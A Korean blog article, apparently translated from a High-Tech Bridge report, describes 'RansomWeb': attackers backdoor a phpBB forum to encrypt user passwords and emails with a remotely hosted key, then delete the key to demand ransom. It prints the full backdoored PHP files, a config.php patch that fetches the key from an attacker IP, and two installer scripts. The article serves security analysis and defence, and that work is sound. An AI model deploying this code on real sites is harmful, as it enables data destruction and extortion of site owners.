사이버 보안 · 4 min read · Jan 19, 2026
“RansomWeb” 새로운 공격 벡터로 웹사이트 데이터베이스를 암호화하다

High-Tech Bridge의 연구자들이 사이버 범죄자들이 웹사이트 데이터베이스를 암호화하고 “RansomWeb”으로 몸값을 요구하는 연구를 발표했습니다.
점점 더 많은 사람들이 랜섬웨어의 피해자가 되고 있습니다. 랜섬웨어는 데이터를 암호화하고 이를 복호화하기 위해 돈을 요구하는 악성 소프트웨어입니다. 시장의 새로운 트렌드는 사이버 범죄자들이 이제 웹사이트를 목표로 삼아 몸값을 요구할 것이라는 것입니다.
2014년 12월, High-Tech Bridge 보안 전문가들은 금융 회사 웹사이트가 손상된 매우 흥미로운 사례를 발견했습니다: 웹사이트는 데이터베이스 오류를 표시하며 서비스 중단 상태였고, 웹사이트 소유자는 “데이터베이스를 복호화하기 위한 몸값”을 요구하는 이메일을 받았습니다. 문제의 웹 애플리케이션은 꽤 간단하고 작았지만 회사의 비즈니스에 매우 중요했습니다. 회사는 이를 중단할 여유가 없었고, 손상 사실을 발표할 수도 없었습니다. High-Tech Bridge의 철저한 조사는 다음과 같은 사실을 밝혀냈습니다:
웹 애플리케이션은 6개월 전에 손상되었고, 여러 서버 스크립트가 데이터베이스에 삽입하기 전에 데이터를 암호화하고 데이터베이스에서 데이터를 가져온 후 복호화하도록 수정되었습니다. 웹 애플리케이션 사용자에게는 보이지 않는 “온더플라이” 패치입니다.
데이터베이스 테이블의 가장 중요한 필드만 암호화되었습니다(아마도 웹 애플리케이션 성능에 큰 영향을 미치지 않기 위해서). 기존의 모든 데이터베이스 레코드는 그에 따라 암호화되었습니다.
암호화 키는 HTTPS를 통해서만 접근할 수 있는 원격 웹 서버에 저장되었습니다(아마도 다양한 트래픽 모니터링 시스템에 의한 키 가로채기를 피하기 위해서).
6개월 동안 해커들은 조용히 기다리면서 백업이 최근 버전의 데이터베이스로 덮어쓰여지는 것을 지켜보았습니다.
X일에 해커들은 원격 서버에서 키를 제거했습니다. 데이터베이스는 사용할 수 없게 되었고, 웹사이트는 서비스 중단 상태가 되었으며, 해커들은 암호화 키에 대한 몸값을 요구했습니다.
연구자들은 이것이 특정 회사를 목표로 하는 정교한 APT의 개별 사례라고 확신했지만, 지난주에 그들은 또 다른 유사한 사례에 직면했습니다. 그들의 고객 중 한 명인 SMB는 그의… phpBB 포럼이 작동을 멈춘 후 협박을 당했습니다. 포럼은 고객 지원의 주요 플랫폼으로 사용되었기 때문에 고객에게 중요했습니다.
그것은 2014년 11월 25일에 출시된 최신 phpBB 3.1.2였습니다. 어떤 사용자도 로그인할 수 없었습니다(포럼 관리자 및 관리자 포함). 포럼은 온라인 상태였지만, 포럼 사용자가 인증을 받아야 하는 모든 기능은 작동하지 않았습니다. 우리의 철저한 조사는 포럼 엔진이 사용자의 비밀번호와 이메일을 웹 애플리케이션과 데이터베이스 간에 “온더플라이”로 암호화하도록 패치되었다는 것을 밝혀냈습니다.
다음 파일이 수정되었습니다:
- 파일 “factory.php”의 “sql_fetchrow()” 함수는 SQL 쿼리의 결과가 “user_password”와 “user_email” 테이블 필드의 복호화된 값을 가지도록 수정되었습니다:
if(isset($result[‘user_password’])){
$result[‘user_password’] = $cipher->decrypt($result[‘user_password’]);
}
if(isset($result[‘user_email’])){
$result[‘user_email’] = $cipher->decrypt($result[‘user_email’]);
} - 파일 “functions_user.php”는 암호화를 추가하기 위해 “user_add” 함수의 수정된 버전을 가지고 있습니다:
$sql_ary = array(
‘username’=>$user_row[‘username’],
‘username_clean’ => $username_clean,
‘user_password’ => (isset($user_row[‘user_password’]))?
$cipher->encrypt($user_row[‘user_password’]):$cipher->encrypt(”),
‘user_email’=> $cipher->encrypt(strtolower($user_row[‘user_email’])),
‘user_email_hash’=> phpbb_email_hash($user_row[‘user_email’]),
‘group_id’ => $user_row[‘group_id’],
‘user_type’ => $user_row[‘user_type’],
); - 파일 “cp_activate.php”는 함수 “main()”의 수정된 버전을 가지고 있습니다:
$sql_ary = array(
‘user_actkey’ => ”,
‘user_password’ => $cipher->encrypt($user_row[‘user_newpasswd’]),
‘user_newpasswd’ => ”,
‘user_login_attempts’ => 0,
); - 파일 “ucp_profile.php”는 함수 “main()”의 수정된 버전을 가지고 있습니다:
if (sizeof($sql_ary))
{
$sql_ary[‘user_email’] = $cipher->encrypt($sql_ary[‘user_email’]);
$sql_ary[‘user_password’] = $cipher->encrypt($sql_ary[‘user_password’]);
$sql = ‘UPDATE ‘ . USERS_TABLE . ‘
SET ‘ . $db->sql_build_array(‘UPDATE’, $sql_ary) . ‘
WHERE user_id = ‘ . $user->data[‘user_id’];
$db->sql_query($sql);
} - 파일 “config.php”는 다음과 같은 수정이 있었습니다:
class Cipher {
private $securekey, $iv;
function __construct($textkey) {
$this->securekey = hash(‘sha256’,$textkey,TRUE);
$this->iv = mcrypt_create_iv(32);
}
function encrypt($input) {
return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
}
function decrypt($input) {
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
}
}
$key=file_get_contents(‘https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt’);
$cipher=new Cipher($key);
또한 연구자들은 해커들이 서버에 남긴 두 개의 백도어 설치 스크립트를 발견했습니다. 이 스크립트는 단 몇 번의 클릭으로 모든 phpBB 포럼에 백도어를 설치할 수 있게 해줍니다. 첫 번째 설치 프로그램은 “config.php” 파일을 패치하여 데이터를 복호화하고 암호화하는 “Cipher” 클래스를 추가하며, 암호화 키를 원격 서버에 저장합니다:
$file = ‘../config.php’;
$txt = “ ”.’class Cipher {
private $securekey, $iv;
function construct($textkey) {
$this->securekey = hash(\’sha256\’,$textkey,TRUE);
$this->iv = mcrypt_create_iv(32);
}
function encrypt($input) {
return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
}
function decrypt($input) {
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
}
}
$key=file_get_contents(\’https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt\’);
$cipher=new Cipher($key);’.” ”;
if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
echo “DONE!”;
}; 두 번째 설치 프로그램은 모든 기존 phpBB 사용자를 파싱하여 그들의 이메일과 비밀번호를 암호화하고, 위에서 언급한 phpBB 파일을 백도어가 설치된 복사본으로 교체합니다:
define(‘IN_PHPBB’, true);
$phpbb_root_path = (defined(‘PHPBB_ROOT_PATH’)) ? PHPBB_ROOT_PATH : ‘../’;
$phpEx = substr(strrchr(FILE__, ‘.’), 1);
include($phpbb_root_path . ‘common.’ . $phpEx);
include($phpbb_root_path . ‘includes/functions_display.’ . $phpEx);
$sql = ‘SELECT user_id, user_password, user_email FROM ‘ . USERS_TABLE;
$result = $db->sql_query($sql);
while ($row = $db->sql_fetchrow($result))
{
$sql2 = ‘UPDATE ‘ . USERS_TABLE . ‘
SET
user_password = “‘.$cipher->encrypt($row[‘user_password’]).’”,
user_email = “‘.$cipher->encrypt($row[‘user_email’]).’”
WHERE user_id = ‘.$row[‘user_id’];
$result2 = $db->sql_query($sql2);
}
echo “SQL UPDATED!
”;
copy(‘factory.php’, ‘../phpbb/db/driver/factory.php’);
copy(‘functions_user.php’, ‘../includes/functions_user.php’);
copy(‘ucp_activate.php’, ‘../includes/ucp/ucp_activate.php’);
copy(‘ucp_profile.php’, ‘../includes/ucp/ucp_profile.php’);
echo “FILES UPDATED!”;
공격자들은 두 달을 기다린 후 원격 서버에서 키를 제거했습니다. High-Tech Bridge 연구자들은 나중에 phpBB가 도난당한 FTP 비밀번호를 통해 손상되었다는 것을 발견했습니다.
현재 어떤 안티바이러스 소프트웨어도 설치 프로그램을 알려진 악성 소프트웨어로 탐지하지 않습니다:
“step1.php” 파일
“step2.php” 파일
랜섬웨어 공격의 증가에 따라 연구자들은 이 해킹 기술을 “RansomWeb”이라고 명명했습니다.
RansomWeb 공격에 대한 간단한 분석을 시도해 보겠습니다:
RansomWeb의 잠재적 기회:
DDoS 공격과는 달리 웹 애플리케이션 가용성에 지속적인 영향을 미칠 수 있습니다.
협박뿐만 아니라 장기적인 웹사이트 파괴에도 사용될 수 있습니다.
백업은 큰 도움이 되지 않을 수 있습니다. 데이터베이스는 암호화된 모드로 백업되며, 암호화 키는 원격으로 저장되어 백업되지 않습니다.
몸값을 지불하지 않고는 공격에서 회복하는 것이 거의 불가능하며, 많은 피해자들은 해커에게 몸값을 지불할 수밖에 없을 것입니다.
호스팅 회사들은 이 새로운 도전에 대비하지 못하고 있으며, 아마도 고객을 도와줄 수 없을 것입니다.
연구자들은 또한 “RansomWeb”의 잠재적 약점을 다음과 같이 확인했습니다:
파일 무결성 모니터로 쉽게 탐지될 수 있습니다(그러나 웹 애플리케이션에 대해 파일 무결성 모니터링을 수행하는 회사는 매우 적습니다).
웹 애플리케이션의 기능 및/또는 속도를 손상시키지 않고 전체 데이터베이스를 암호화하는 것은 꽤 어렵습니다(그럼에도 불구하고 복구할 수 없는 DB 필드 하나가 웹 애플리케이션을 망칠 수 있습니다).
정기적으로 업데이트되는 웹 애플리케이션에서 사용될 경우 꽤 빨리 탐지될 수 있습니다.
출처: High-Tech Bridge
새 게시물을 받은 편지함에서 받기
스팸은 없습니다. 언제든지 구독 해지 가능합니다.